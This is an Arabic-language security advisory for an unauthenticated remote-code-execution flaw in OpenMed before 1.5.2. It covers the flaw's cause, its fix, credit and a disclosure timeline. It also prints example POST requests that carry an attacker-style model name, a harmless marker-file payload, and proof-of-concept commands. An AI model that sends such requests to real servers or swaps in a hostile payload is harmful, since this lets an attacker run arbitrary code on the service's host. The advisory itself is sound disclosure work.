
OpenMed < 1.5.2 ثغرة تنفيذ برمجيات عن بُعد (RCE) بدون مصادقة عبر تحميل نموذج عامل تصفية الخصوصية للبيانات الشخصية (PII) مع trust_remote_code=True
الخطورة: حرجة، CVSS 4.0 9.3، CVSS 3.1 9.8 (مُسندة من VulnCheck، بصفتها CNA)
المتجه (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
المتجه (v3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
المتأثر: OpenMed < 1.5.2
أُصلح في: 1.5.2
CWE: CWE-94 (التحكم غير السليم في توليد الكود، حقن الكود)
أُبلغ من قبل: Sai Teja Erukude
CNA: VulnCheck
نُشر: 2 يونيو 2026
يحتوي OpenMed قبل الإصدار 1.5.2 على ثغرة تنفيذ تعليمات برمجية عن بُعد دون مصادقة في مسار تحميل نموذج مرشّح خصوصية PII.
تقبل نقطتا نهاية REST API POST /pii/extract وPOST /pii/deidentify قيمة model_name من نص الطلب. في الإصدارات المعرضة للخطر، استخدم موزّع مرشّح الخصوصية مطابقة جزئية للنصوص (substring matching) بشكل واسع على هذه القيمة الخاضعة لتحكم المهاجم. وبالتالي، يمكن لاسم نموذج مثل attacker/foo-privacy-filter-bar أن يُوجَّه إلى الواجهة الخلفية لمرشّح الخصوصية.
في بيئات النشر غير القائمة على MLX/Torch، كانت تلك الواجهة الخلفية تُحمّل مكونات نماذج Hugging Face عبر مكتبة Transformers مع ضبط trust_remote_code=True. إذا كان مستودع النماذج الخاضع لتحكم المهاجم يحتوي على كود Transformers مخصص تتم الإشارة إليه عبر auto_map في config.json أو tokenizer_config.json، فإن مكتبة Transformers كانت تستورد وتنفّذ كود Python هذا أثناء تحميل النموذج أو المُرمِّز (tokenizer).
كان الكود المستورد يُنفَّذ بصلاحيات عملية خدمة OpenMed.
يمكن لمهاجم عن بُعد دون مصادقة يستطيع الوصول إلى REST API الخاص بـ OpenMed تنفيذ كود Python تعسفي على الخادم عبر توفير معرّف نموذج خبيث بنمط Hugging Face في model_name.
اعتمادًا على طريقة نشر الخدمة، يمكن أن يتيح ذلك:
يمكن الوصول إلى الثغرة عبر نقطتي نهاية PII معًا، لأن كلتيهما تقبلان model_name وتستخدمان نفس مسار استخراج/تحميل نموذج PII:
POST /pii/extract
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
POST /pii/deidentify
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
يحتوي تدفق التحكم المعرض للخطر على فشلين في حدود الثقة:
model_name المقدم من المستخدم عند اختيار الواجهة الخلفية لمرشّح الخصوصية.trust_remote_code=True.تعامل الموزّع مع أي معرّف نموذج يحتوي على privacy-filter على أنه جزء من عائلة مرشّحات الخصوصية. مما سمح للمعرّفات الخاضعة لتحكم المهاجم، مثل attacker/foo-privacy-filter-bar، بالوصول إلى مسار كود مخصص لنماذج مرشّح الخصوصية الموثوقة من الطرف الأول.
وبمجرد توجيه الطلب إلى هناك، يمكن لمكتبة Transformers تحميل كود مخصص خاضع لتحكم المهاجم عبر auto_map. يحدث هذا الاستيراد أثناء تحميل النموذج/المُرمِّز، قبل الحاجة إلى نجاح أي استدلال (inference) مفيد. وبالتالي، يمكن أن تكون حمولة الإثبات صغيرة بالشكل التالي:
from pathlib import Path
Path("marker.txt").write_text(
"custom Transformers code executed via trust_remote_code\n",
encoding="utf-8",
)
يبني poc_exploit.py دليل نماذج محليًا غير ضار بنمط Hugging Face يحتوي اسمه على privacy-filter. تكتب وحدات Transformers المخصصة المُولَّدة ملف علامة (marker file) عند استيرادها. يرسل البرنامج النصي بعد ذلك طلبًا إلى مثيل OpenMed API للاختبار مع استخدام ذلك الدليل كقيمة model_name.
السلوك المتوقع على إصدارات OpenMed المعرضة للخطر هو:
model_name الخاضع لتحكم المهاجم.trust_remote_code=True.شغّل ذلك ضد مثيل اختبار محلي فقط:
pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract
إذا كانت خدمة OpenMed تعمل في مكان لا يمكنه الوصول إلى الدليل المحلي المُولَّد، فانشر نموذج اختبار مكافئًا في مستودع Hugging Face خاضع لسيطرتك ومرّر ذلك المعرّف صراحةً:
python poc_exploit.py \
--target http://127.0.0.1:8000 \
--model-name your-org/foo-privacy-filter-bar \
--marker marker.txt
قم بالترقية إلى OpenMed 1.5.2 أو إصدار أحدث.
يفصل OpenMed 1.5.2 بين التوجيه والثقة:
privacy-filter تُوجَّه عبر مسار مرشّح الخصوصية الموثوق.PrivacyFilterTorchPipeline القيمة الافتراضية لـ trust_remote_code على False.OPENMED_TRUSTED_REMOTE_CODE_MODELS.إذا لم تكن الترقية الفورية ممكنة:
model_name الخاضعة لتحكم المستخدم إلى مكتبة Transformers مع ضبط trust_remote_code=True.اكتشفها وأبلغ عنها Sai Teja Erukude، بالتنسيق عبر VulnCheck.
| التاريخ | الحدث |
|---|
| 18 مايو 2026 | إرسال الثغرة إلى VulnCheck |
| 20 مايو 2026 | بدء VulnCheck التواصل للإفصاح المنسق |
| 22 مايو 2026 | تخصيص CVE-2026-47117 بشكل مبدئي |
| 1 يونيو 2026 | مراجعة وتأكيد إصلاح OpenMed 1.5.2 |
| 2 يونيو 2026 | نشر CVE-2026-47117 |